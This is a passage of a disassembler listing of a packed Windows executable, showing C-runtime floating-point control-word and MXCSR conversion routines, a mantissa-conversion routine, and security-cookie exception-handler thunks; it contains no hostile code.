push esi
push edi
mov ebx, 200h
test dl, 8
jz short loc_41B8F8
or eax, ebx
loc_41B8F8: ; CODE XREF: sub_41B8DD+17j
test dl, 4
jz short loc_41B902
or eax, 400h
loc_41B902: ; CODE XREF: sub_41B8DD+1Ej
test dl, 2
jz short loc_41B90C
or eax, 800h
loc_41B90C: ; CODE XREF: sub_41B8DD+28j
test dl, 1
jz short loc_41B916
or eax, 1000h
loc_41B916: ; CODE XREF: sub_41B8DD+32j
mov edi, 100h
test edx, 80000h
jz short loc_41B925
or eax, edi
loc_41B925: ; CODE XREF: sub_41B8DD+44j
mov ecx, edx
mov esi, 300h
and ecx, esi
jz short loc_41B94F
cmp ecx, edi
jz short loc_41B94A
cmp ecx, ebx
jz short loc_41B943
cmp ecx, esi
jnz short loc_41B94F
or eax, 6000h
jmp short loc_41B94F
; ---------------------------------------------------------------------------
loc_41B943: ; CODE XREF: sub_41B8DD+59j
or eax, 4000h
jmp short loc_41B94F
; ---------------------------------------------------------------------------
loc_41B94A: ; CODE XREF: sub_41B8DD+55j
or eax, 2000h
loc_41B94F: ; CODE XREF: sub_41B8DD+51j
; sub_41B8DD+5Dj ...
mov ecx, 3000000h
pop edi
and edx, ecx
pop esi
pop ebx
cmp edx, 1000000h
jz short loc_41B977
cmp edx, 2000000h
jz short loc_41B973
cmp edx, ecx
jnz short locret_41B97C
or eax, 8000h
retn
; ---------------------------------------------------------------------------
loc_41B973: ; CODE XREF: sub_41B8DD+8Aj
or eax, 40h
retn
; ---------------------------------------------------------------------------
loc_41B977: ; CODE XREF: sub_41B8DD+82j
or eax, 8040h
locret_41B97C: ; CODE XREF: sub_41B8DD+8Ej
retn
sub_41B8DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B97D proc near ; CODE XREF: sub_419D3F+27p
; sub_419D3F+57p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
fstcw word ptr [ebp+var_8]
mov ebx, [ebp+var_8]
xor edx, edx
test bl, 1
jz short loc_41B999
push 10h
pop edx
loc_41B999: ; CODE XREF: sub_41B97D+17j
test bl, 4
jz short loc_41B9A1
or edx, 8
loc_41B9A1: ; CODE XREF: sub_41B97D+1Fj
test bl, 8
jz short loc_41B9A9
or edx, 4
loc_41B9A9: ; CODE XREF: sub_41B97D+27j
test bl, 10h
jz short loc_41B9B1
or edx, 2
loc_41B9B1: ; CODE XREF: sub_41B97D+2Fj
test bl, 20h
jz short loc_41B9B9
or edx, 1
loc_41B9B9: ; CODE XREF: sub_41B97D+37j
test bl, 2
jz short loc_41B9C4
or edx, 80000h
loc_41B9C4: ; CODE XREF: sub_41B97D+3Fj
movzx ecx, bx
mov eax, ecx
mov esi, 0C00h
and eax, esi
mov edi, 300h
jz short loc_41B9FB
cmp eax, 400h
jz short loc_41B9F5
cmp eax, 800h
jz short loc_41B9ED
cmp eax, esi
jnz short loc_41B9FB
or edx, edi
jmp short loc_41B9FB
; ---------------------------------------------------------------------------
loc_41B9ED: ; CODE XREF: sub_41B97D+66j
or edx, 200h
jmp short loc_41B9FB
; ---------------------------------------------------------------------------
loc_41B9F5: ; CODE XREF: sub_41B97D+5Fj
or edx, 100h
loc_41B9FB: ; CODE XREF: sub_41B97D+58j
; sub_41B97D+6Aj ...
and ecx, edi
jz short loc_41BA0F
cmp ecx, 200h
jnz short loc_41BA15
or edx, 10000h
jmp short loc_41BA15
; ---------------------------------------------------------------------------
loc_41BA0F: ; CODE XREF: sub_41B97D+80j
or edx, 20000h
loc_41BA15: ; CODE XREF: sub_41B97D+88j
; sub_41B97D+90j
test ebx, 1000h
jz short loc_41BA23
or edx, 40000h
loc_41BA23: ; CODE XREF: sub_41B97D+9Ej
mov edi, [ebp+arg_4]
mov ecx, [ebp+arg_0]
mov eax, edi
not eax
and eax, edx
and ecx, edi
or eax, ecx
mov [ebp+arg_4], eax
cmp eax, edx
jz loc_41BAEC
mov ebx, eax
call sub_41B84F
movzx eax, ax
mov [ebp+var_4], eax
fldcw word ptr [ebp+var_4]
fstcw word ptr [ebp+var_4]
mov ebx, [ebp+var_4]
xor edx, edx
test bl, 1
jz short loc_41BA5F
push 10h
pop edx
loc_41BA5F: ; CODE XREF: sub_41B97D+DDj
test bl, 4
jz short loc_41BA67
or edx, 8
loc_41BA67: ; CODE XREF: sub_41B97D+E5j
test bl, 8
jz short loc_41BA6F
or edx, 4
loc_41BA6F: ; CODE XREF: sub_41B97D+EDj
test bl, 10h
jz short loc_41BA77
or edx, 2
loc_41BA77: ; CODE XREF: sub_41B97D+F5j
test bl, 20h
jz short loc_41BA7F
or edx, 1
loc_41BA7F: ; CODE XREF: sub_41B97D+FDj
test bl, 2
jz short loc_41BA8A
or edx, 80000h
loc_41BA8A: ; CODE XREF: sub_41B97D+105j
movzx ecx, bx
mov eax, ecx
and eax, esi
jz short loc_41BABB
cmp eax, 400h
jz short loc_41BAB5
cmp eax, 800h
jz short loc_41BAAD
cmp eax, esi
jnz short loc_41BABB
or edx, 300h
jmp short loc_41BABB
; ---------------------------------------------------------------------------
loc_41BAAD: ; CODE XREF: sub_41B97D+122j
or edx, 200h
jmp short loc_41BABB
; ---------------------------------------------------------------------------
loc_41BAB5: ; CODE XREF: sub_41B97D+11Bj
or edx, 100h
loc_41BABB: ; CODE XREF: sub_41B97D+114j
; sub_41B97D+126j ...
and ecx, 300h
jz short loc_41BAD3
cmp ecx, 200h
jnz short loc_41BAD9
or edx, 10000h
jmp short loc_41BAD9
; ---------------------------------------------------------------------------
loc_41BAD3: ; CODE XREF: sub_41B97D+144j
or edx, 20000h
loc_41BAD9: ; CODE XREF: sub_41B97D+14Cj
; sub_41B97D+154j
test ebx, 1000h
jz short loc_41BAE7
or edx, 40000h
loc_41BAE7: ; CODE XREF: sub_41B97D+162j
mov [ebp+arg_4], edx
mov eax, edx
loc_41BAEC: ; CODE XREF: sub_41B97D+BBj
xor esi, esi
cmp dword_430144, esi
jz loc_41BC87
and edi, 308031Fh
mov [ebp+var_14], edi
stmxcsr [ebp+var_10]
mov eax, [ebp+var_10]
test al, al
jns short loc_41BB11
push 10h
pop esi
loc_41BB11: ; CODE XREF: sub_41B97D+18Fj
test eax, 200h
jz short loc_41BB1B
or esi, 8
loc_41BB1B: ; CODE XREF: sub_41B97D+199j
test eax, 400h
jz short loc_41BB25
or esi, 4
loc_41BB25: ; CODE XREF: sub_41B97D+1A3j
test eax, 800h
jz short loc_41BB2F
or esi, 2
loc_41BB2F: ; CODE XREF: sub_41B97D+1ADj
test eax, 1000h
jz short loc_41BB39
or esi, 1
loc_41BB39: ; CODE XREF: sub_41B97D+1B7j
test eax, 100h
jz short loc_41BB46
or esi, 80000h
loc_41BB46: ; CODE XREF: sub_41B97D+1C1j
mov ecx, eax
mov ebx, 6000h
and ecx, ebx
jz short loc_41BB7B
cmp ecx, 2000h
jz short loc_41BB75
cmp ecx, 4000h
jz short loc_41BB6D
cmp ecx, ebx
jnz short loc_41BB7B
or esi, 300h
jmp short loc_41BB7B
; ---------------------------------------------------------------------------
loc_41BB6D: ; CODE XREF: sub_41B97D+1E2j
or esi, 200h
jmp short loc_41BB7B
; ---------------------------------------------------------------------------
loc_41BB75: ; CODE XREF: sub_41B97D+1DAj
or esi, 100h
loc_41BB7B: ; CODE XREF: sub_41B97D+1D2j
; sub_41B97D+1E6j ...
mov edi, 8040h
and eax, edi
sub eax, 40h
jz short loc_41BBA3
sub eax, 7FC0h
jz short loc_41BB9B
sub eax, 40h
jnz short loc_41BBA9
or esi, 1000000h
jmp short loc_41BBA9
; ---------------------------------------------------------------------------
loc_41BB9B: ; CODE XREF: sub_41B97D+20Fj
or esi, 3000000h
jmp short loc_41BBA9
; ---------------------------------------------------------------------------
loc_41BBA3: ; CODE XREF: sub_41B97D+208j
or esi, 2000000h
loc_41BBA9: ; CODE XREF: sub_41B97D+214j
; sub_41B97D+21Cj ...
mov eax, [ebp+var_14]
mov edx, eax
and eax, [ebp+arg_0]
not edx
and edx, esi
or edx, eax
cmp edx, esi
jnz short loc_41BBC2
mov eax, esi
jmp loc_41BC72
; ---------------------------------------------------------------------------
loc_41BBC2: ; CODE XREF: sub_41B97D+23Cj
call sub_41B8DD
push eax
mov [ebp+var_C], eax
call sub_41BE5A
pop ecx
stmxcsr [ebp+var_C]
mov ecx, [ebp+var_C]
xor edx, edx
test cl, cl
jns short loc_41BBE1
push 10h
pop edx
loc_41BBE1: ; CODE XREF: sub_41B97D+25Fj
test ecx, 200h
jz short loc_41BBEC
or edx, 8
loc_41BBEC: ; CODE XREF: sub_41B97D+26Aj
test ecx, 400h
jz short loc_41BBF7
or edx, 4
loc_41BBF7: ; CODE XREF: sub_41B97D+275j
test ecx, 800h
jz short loc_41BC02
or edx, 2
loc_41BC02: ; CODE XREF: sub_41B97D+280j
test ecx, 1000h
jz short loc_41BC0D
or edx, 1
loc_41BC0D: ; CODE XREF: sub_41B97D+28Bj
mov esi, 100h
test ecx, esi
jz short loc_41BC1C
or edx, 80000h
loc_41BC1C: ; CODE XREF: sub_41B97D+297j
mov eax, ecx
and eax, ebx
jz short loc_41BC46
cmp eax, 2000h
jz short loc_41BC44
cmp eax, 4000h
jz short loc_41BC3C
cmp eax, ebx
jnz short loc_41BC46
or edx, 300h
jmp short loc_41BC46
; ---------------------------------------------------------------------------
loc_41BC3C: ; CODE XREF: sub_41B97D+2B1j
or edx, 200h
jmp short loc_41BC46
; ---------------------------------------------------------------------------
loc_41BC44: ; CODE XREF: sub_41B97D+2AAj
or edx, esi
loc_41BC46: ; CODE XREF: sub_41B97D+2A3j
; sub_41B97D+2B5j ...
and ecx, edi
sub ecx, 40h
jz short loc_41BC6A
sub ecx, 7FC0h
jz short loc_41BC62
sub ecx, 40h
jnz short loc_41BC70
or edx, 1000000h
jmp short loc_41BC70
; ---------------------------------------------------------------------------
loc_41BC62: ; CODE XREF: sub_41B97D+2D6j
or edx, 3000000h
jmp short loc_41BC70
; ---------------------------------------------------------------------------
loc_41BC6A: ; CODE XREF: sub_41B97D+2CEj
or edx, 2000000h
loc_41BC70: ; CODE XREF: sub_41B97D+2DBj
; sub_41B97D+2E3j ...
mov eax, edx
loc_41BC72: ; CODE XREF: sub_41B97D+240j
mov ecx, eax
xor ecx, [ebp+arg_4]
or eax, [ebp+arg_4]
test ecx, 8031Fh
jz short loc_41BC87
or eax, 80000000h
loc_41BC87: ; CODE XREF: sub_41B97D+177j
; sub_41B97D+303j
pop edi
pop esi
pop ebx
leave
retn
sub_41B97D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BC8C proc near ; CODE XREF: sub_41A833+328p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push ebx
push esi
xor esi, esi
push edi
mov [ebp+var_18], 404Eh
mov [eax], esi
mov [eax+4], esi
mov [eax+8], esi
cmp [ebp+arg_4], esi
jbe loc_41BE04
loc_41BCBE: ; CODE XREF: sub_41BC8C+148j
mov edx, [eax]
mov ebx, [eax+4]
mov esi, eax
lea edi, [ebp+var_10]
movsd
movsd
movsd
mov ecx, edx
shr ecx, 1Fh
lea edi, [edx+edx]
lea edx, [ebx+ebx]
or edx, ecx
mov ecx, [eax+8]
mov esi, ebx
shr esi, 1Fh
add ecx, ecx
or ecx, esi
mov [ebp+var_14], edi
mov esi, edi
and [ebp+var_14], 0
mov ebx, edx
shr ebx, 1Fh
add ecx, ecx
shr edi, 1Fh
or ecx, ebx
mov ebx, [ebp+var_10]
add esi, esi
add edx, edx
or edx, edi
lea edi, [esi+ebx]
mov [eax], esi
mov [eax+4], edx
mov [eax+8], ecx
cmp edi, esi
jb short loc_41BD15
cmp edi, ebx
jnb short loc_41BD1C
loc_41BD15: ; CODE XREF: sub_41BC8C+83j
mov [ebp+var_14], 1
loc_41BD1C: ; CODE XREF: sub_41BC8C+87j
xor ebx, ebx
mov [eax], edi
cmp [ebp+var_14], ebx
jz short loc_41BD3F
lea esi, [edx+1]
cmp esi, edx
jb short loc_41BD31
cmp esi, 1
jnb short loc_41BD34
loc_41BD31: ; CODE XREF: sub_41BC8C+9Ej
xor ebx, ebx
inc ebx
loc_41BD34: ; CODE XREF: sub_41BC8C+A3j
mov [eax+4], esi
test ebx, ebx
jz short loc_41BD3F
inc ecx
mov [eax+8], ecx
loc_41BD3F: ; CODE XREF: sub_41BC8C+97j
; sub_41BC8C+ADj
mov ecx, [eax+4]
mov edx, [ebp+var_C]
lea ebx, [ecx+edx]
xor esi, esi
cmp ebx, ecx
jb short loc_41BD52
cmp ebx, edx
jnb short loc_41BD55
loc_41BD52: ; CODE XREF: sub_41BC8C+C0j
xor esi, esi
inc esi
loc_41BD55: ; CODE XREF: sub_41BC8C+C4j
mov [eax+4], ebx
test esi, esi
jz short loc_41BD5F
inc dword ptr [eax+8]
loc_41BD5F: ; CODE XREF: sub_41BC8C+CEj
mov ecx, [ebp+var_8]
add [eax+8], ecx
and [ebp+var_14], 0
lea ecx, [edi+edi]
mov edx, edi
shr edx, 1Fh
lea edi, [ebx+ebx]
or edi, edx
mov edx, [eax+8]
mov esi, ebx
shr esi, 1Fh
lea ebx, [edx+edx]
mov edx, [ebp+arg_0]
or ebx, esi
mov [eax], ecx
mov [eax+4], edi
mov [eax+8], ebx
movsx edx, byte ptr [edx]
lea esi, [ecx+edx]
mov [ebp+var_10], edx
cmp esi, ecx
jb short loc_41BD9F
cmp esi, edx
jnb short loc_41BDA6
loc_41BD9F: ; CODE XREF: sub_41BC8C+10Dj
mov [ebp+var_14], 1
loc_41BDA6: ; CODE XREF: sub_41BC8C+111j
cmp [ebp+var_14], 0
mov [eax], esi
jz short loc_41BDCA
lea ecx, [edi+1]
xor edx, edx
cmp ecx, edi
jb short loc_41BDBC
cmp ecx, 1
jnb short loc_41BDBF
loc_41BDBC: ; CODE XREF: sub_41BC8C+129j
xor edx, edx
inc edx
loc_41BDBF: ; CODE XREF: sub_41BC8C+12Ej
mov [eax+4], ecx
test edx, edx
jz short loc_41BDCA
inc ebx
mov [eax+8], ebx
loc_41BDCA: ; CODE XREF: sub_41BC8C+120j
; sub_41BC8C+138j
dec [ebp+arg_4]
inc [ebp+arg_0]
cmp [ebp+arg_4], 0
ja loc_41BCBE
xor esi, esi
jmp short loc_41BE04
; ---------------------------------------------------------------------------
loc_41BDDE: ; CODE XREF: sub_41BC8C+17Bj
mov ecx, [eax+4]
mov edx, ecx
shr edx, 10h
mov [eax+8], edx
mov edx, [eax]
mov edi, edx
shl ecx, 10h
shr edi, 10h
or ecx, edi
shl edx, 10h
add [ebp+var_18], 0FFF0h
mov [eax+4], ecx
mov [eax], edx
loc_41BE04: ; CODE XREF: sub_41BC8C+2Cj
; sub_41BC8C+150j
cmp [eax+8], esi
jz short loc_41BDDE
mov ebx, 8000h
test [eax+8], ebx
jnz short loc_41BE43
loc_41BE13: ; CODE XREF: sub_41BC8C+1B5j
mov esi, [eax]
mov edi, [eax+4]
add [ebp+var_18], 0FFFFh
mov ecx, esi
add esi, esi
shr ecx, 1Fh
mov [eax], esi
lea esi, [edi+edi]
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
shr edx, 1Fh
add ecx, ecx
or ecx, edx
mov [eax+4], esi
mov [eax+8], ecx
test ecx, ebx
jz short loc_41BE13
loc_41BE43: ; CODE XREF: sub_41BC8C+185j
mov cx, word ptr [ebp+var_18]
mov [eax+0Ah], cx
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_40AC1C
leave
retn
sub_41BC8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE5A proc near ; CODE XREF: sub_41B97D+24Ep
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 8
push offset dword_427CD8
call __SEH_prolog4
xor eax, eax
cmp dword_430144, eax
jz short loc_41BEC6
test byte ptr [ebp+arg_0], 40h
jz short loc_41BEBE
cmp dword_42E334, eax
jz short loc_41BEBE
mov [ebp+ms_exc.disabled], eax
ldmxcsr [ebp+arg_0]
jmp short loc_41BEB5
; ---------------------------------------------------------------------------
mov eax, [ebp+ms_exc.exc_ptr]
mov eax, [eax]
mov eax, [eax]
cmp eax, 0C0000005h
jz short loc_41BE9F
cmp eax, 0C000001Dh
jz short loc_41BE9F
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41BE9F: ; CODE XREF: sub_41BE5A+39j
; sub_41BE5A+40j
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+ms_exc.old_esp]
and dword_42E334, 0
and [ebp+arg_0], 0FFFFFFBFh
ldmxcsr [ebp+arg_0]
loc_41BEB5: ; CODE XREF: sub_41BE5A+2Bj
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
jmp short loc_41BEC6
; ---------------------------------------------------------------------------
loc_41BEBE: ; CODE XREF: sub_41BE5A+1Aj
; sub_41BE5A+22j
and [ebp+arg_0], 0FFFFFFBFh
ldmxcsr [ebp+arg_0]
loc_41BEC6: ; CODE XREF: sub_41BE5A+14j
; sub_41BE5A+62j
call __SEH_epilog4
retn
sub_41BE5A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
lea ecx, [ebp-28h]
jmp loc_405180
; ---------------------------------------------------------------------------
loc_41BED4: ; DATA XREF: sub_40AB96+2o
; sub_40ABCE+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-54h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_4267B0
jmp loc_40C114
; ---------------------------------------------------------------------------
loc_41BEEF: ; DATA XREF: sub_4104C4+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-14h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_426AE8
jmp loc_40C114
; ---------------------------------------------------------------------------
mov eax, [ebp-10h]
add eax, 4
jmp loc_4011D6
; ---------------------------------------------------------------------------
loc_41BF15: ; DATA XREF: sub_40500B+1ACAo
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-14h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_4270F8
jmp loc_40C114
; ---------------------------------------------------------------------------
lea eax, [ebp+8]
jmp loc_4011D6
; ---------------------------------------------------------------------------
loc_41BF38: ; DATA XREF: sub_402467+2o
; sub_402623+2o ...
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-10h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427128
jmp loc_40C114
; ---------------------------------------------------------------------------
lea eax, [ebp-10h]
jmp loc_4011D6
; ---------------------------------------------------------------------------
loc_41BF5B: ; DATA XREF: sub_4024D9+2o
; sub_4026BE+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-14h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427158
jmp loc_40C114
; ---------------------------------------------------------------------------
lea eax, [ebp-28h]
jmp loc_4011D6
; ---------------------------------------------------------------------------
loc_41BF7E: ; DATA XREF: sub_417A85+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-30h]
xor ecx, eax
call sub_40AC1C
mov ecx, [edx-4]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_426ED4
jmp loc_40C114
; ---------------------------------------------------------------------------
lea esi, [ebp-40h]
jmp loc_4051AD
; ---------------------------------------------------------------------------
loc_41BFAB: ; DATA XREF: sub_417ECD+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-44h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_426F00
jmp loc_40C114
; ---------------------------------------------------------------------------
lea esi, [ebp-48h]
jmp loc_4051AD
; ---------------------------------------------------------------------------
loc_41BFCE: ; DATA XREF: sub_418122+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-4Ch]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_426F2C
jmp loc_40C114
; ---------------------------------------------------------------------------
lea esi, [ebp-28h]
jmp loc_40509E
; ---------------------------------------------------------------------------
loc_41BFF1: ; DATA XREF: UPX0:00426F5Co
lea eax, [ebp-14h]
jmp loc_4011D6
; ---------------------------------------------------------------------------
lea eax, [ebp-20h]
jmp loc_4012F3
; ---------------------------------------------------------------------------
lea esi, [ebp-2Ch]
jmp loc_404C16
; ---------------------------------------------------------------------------
lea eax, [ebp-1Ch]
jmp loc_4011D6
; ---------------------------------------------------------------------------
loc_41C011: ; DATA XREF: sub_418266+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-30h]
xor ecx, eax
call sub_40AC1C
mov ecx, [edx-4]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_426F78
jmp loc_40C114
; ---------------------------------------------------------------------------
lea esi, [ebp-24h]
jmp loc_40509E
; ---------------------------------------------------------------------------
loc_41C03E: ; DATA XREF: UPX0:00426FA8o
lea eax, [ebp-14h]
jmp loc_4011D6
; ---------------------------------------------------------------------------
lea esi, [ebp-28h]
jmp loc_404C16
; ---------------------------------------------------------------------------
lea eax, [ebp-18h]
jmp loc_4011D6
; ---------------------------------------------------------------------------
loc_41C056: ; DATA XREF: sub_4184BE+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-2Ch]
xor ecx, eax
call sub_40AC1C
mov ecx, [edx-4]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_426FBC
jmp loc_40C114
; ---------------------------------------------------------------------------
lea ecx, [ebp-420h]
jmp loc_4012FC
; ---------------------------------------------------------------------------
loc_41C086: ; DATA XREF: sub_4186D9+8o
mov edx, [esp+8]
lea eax, [edx-424h]
mov ecx, [edx-428h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_426FE8
jmp loc_40C114
; ---------------------------------------------------------------------------
lea eax, [ebp-10h]
jmp loc_4011D6
; ---------------------------------------------------------------------------
lea eax, [ebp-10h]
jmp loc_4012F3
; ---------------------------------------------------------------------------
loc_41C0B7: ; DATA XREF: sub_41889D+1Ao
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-40h]
xor ecx, eax
call sub_40AC1C
mov ecx, [edx+214h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_42701C
jmp loc_40C114
; ---------------------------------------------------------------------------
mov eax, [ebp+8]
jmp loc_404C03
; ---------------------------------------------------------------------------
loc_41C0E7: ; DATA XREF: UPX0:0042704Co
mov eax, [ebp+8]
add eax, 2Ch
jmp loc_4012F3
; ---------------------------------------------------------------------------
mov eax, [ebp+0Ch]
jmp loc_405341
; ---------------------------------------------------------------------------
mov eax, [ebp+8]
add eax, 3Ch
push eax
call sub_404C11
retn
; ---------------------------------------------------------------------------
loc_41C107: ; DATA XREF: sub_418A96+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-14h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427060
jmp loc_40C114
; ---------------------------------------------------------------------------
lea ecx, [ebp-0B0h]
jmp loc_4091F2
; ---------------------------------------------------------------------------
loc_41C12D: ; DATA XREF: sub_417588+5o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-0B8h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_42708C
jmp loc_40C114
; ---------------------------------------------------------------------------
loc_41C14B: ; DATA XREF: sub_406CDA+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-14h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_4271B4
jmp loc_40C114
; ---------------------------------------------------------------------------
loc_41C166: ; DATA XREF: sub_405F0B+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-1Ch]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427240
jmp loc_40C114
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_40AD84
; ---------------------------------------------------------------------------
loc_41C189: ; DATA XREF: sub_404A01+2o
; sub_404B1F+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-14h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427270
jmp loc_40C114
; ---------------------------------------------------------------------------
lea eax, [ebp-18h]
jmp loc_4011D6
; ---------------------------------------------------------------------------
lea eax, [ebp+0Ch]
jmp loc_4011D6
; ---------------------------------------------------------------------------
lea eax, [ebp-18h]
jmp loc_4011D6
; ---------------------------------------------------------------------------
lea eax, [ebp+0Ch]
jmp loc_4011D6
; ---------------------------------------------------------------------------
lea eax, [ebp-14h]
jmp loc_4011D6
; ---------------------------------------------------------------------------
lea eax, [ebp+10h]
jmp loc_4011D6
; ---------------------------------------------------------------------------
lea eax, [ebp-1Ch]
jmp loc_4011D6
; ---------------------------------------------------------------------------
loc_41C1DC: ; DATA XREF: sub_404083+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-28h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_4272D0
jmp loc_40C114
; ---------------------------------------------------------------------------
loc_41C1F7: ; DATA XREF: UPX0:00427304o
push dword ptr [ebp-20h]
call sub_40B36B
pop ecx
retn
; ---------------------------------------------------------------------------
lea eax, [ebp-14h]
jmp loc_4012F3
; ---------------------------------------------------------------------------
loc_41C209: ; DATA XREF: sub_4019F2+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-28h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_42733C
jmp loc_40C114
; ---------------------------------------------------------------------------
loc_41C224: ; DATA XREF: sub_401652+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-1Ch]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427394
jmp loc_40C114
; ---------------------------------------------------------------------------
lea esi, [ebp-14h]
jmp loc_404C16
; ---------------------------------------------------------------------------
loc_41C247: ; DATA XREF: sub_401304+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-24h]
xor ecx, eax
call sub_40AC1C
mov ecx, [edx-4]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_4273C0
jmp loc_40C114
; ---------------------------------------------------------------------------
lea eax, [ebp-21Ch]
jmp loc_40A2AA
; ---------------------------------------------------------------------------
loc_41C277: ; DATA XREF: sub_408FB6+1Do
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-220h]
xor ecx, eax
call sub_40AC1C
mov ecx, [edx+40Ch]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_4273F0
jmp loc_40C114
; ---------------------------------------------------------------------------
lea eax, [ebp+0]
jmp loc_40A274
; ---------------------------------------------------------------------------
lea eax, [ebp+0]
jmp loc_40A274
; ---------------------------------------------------------------------------
loc_41C2B2: ; DATA XREF: sub_407CD3+14o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-2Ch]
xor ecx, eax
call sub_40AC1C
mov ecx, [edx+2110h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427490
jmp loc_40C114
; ---------------------------------------------------------------------------
loc_41C2DA: ; DATA XREF: sub_406572+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-18h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427520
jmp loc_40C114
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_4066D7
; ---------------------------------------------------------------------------
lea eax, [ebp-14h]
jmp loc_4011D6
; ---------------------------------------------------------------------------
lea eax, [ebp-18h]
jmp loc_4011D6
; ---------------------------------------------------------------------------
lea eax, [ebp-10h]
jmp loc_4011D6
; ---------------------------------------------------------------------------
loc_41C315: ; DATA XREF: sub_401BB2+1Ao
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-28h]
xor ecx, eax
call sub_40AC1C
mov ecx, [edx+214h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427568
jmp loc_40C114
; ---------------------------------------------------------------------------
lea eax, [ebp-10h]
jmp loc_4012F3
; ---------------------------------------------------------------------------
loc_41C345: ; DATA XREF: sub_4016D2+1Ao
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-28h]
xor ecx, eax
call sub_40AC1C
mov ecx, [edx+3F4h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427598
jmp loc_40C114
; ---------------------------------------------------------------------------
lea esi, [ebp-444h]
jmp loc_40741F
; ---------------------------------------------------------------------------
loc_41C378: ; DATA XREF: UPX0:004275CCo
lea esi, [ebp-440h]
jmp loc_40741F
; ---------------------------------------------------------------------------
loc_41C383: ; DATA XREF: sub_4083DE+8o
mov edx, [esp+8]
lea eax, [edx-444h]
mov ecx, [edx-448h]
xor ecx, eax
call sub_40AC1C
add eax, 0Ch
mov ecx, [edx-8]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_4275D0
jmp loc_40C114
; ---------------------------------------------------------------------------
lea esi, [ebp-2Ch]
jmp loc_40A268
; ---------------------------------------------------------------------------
lea esi, [ebp-28h]
jmp loc_40A268
; ---------------------------------------------------------------------------
loc_41C3C1: ; DATA XREF: sub_4075D2+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-30h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427670
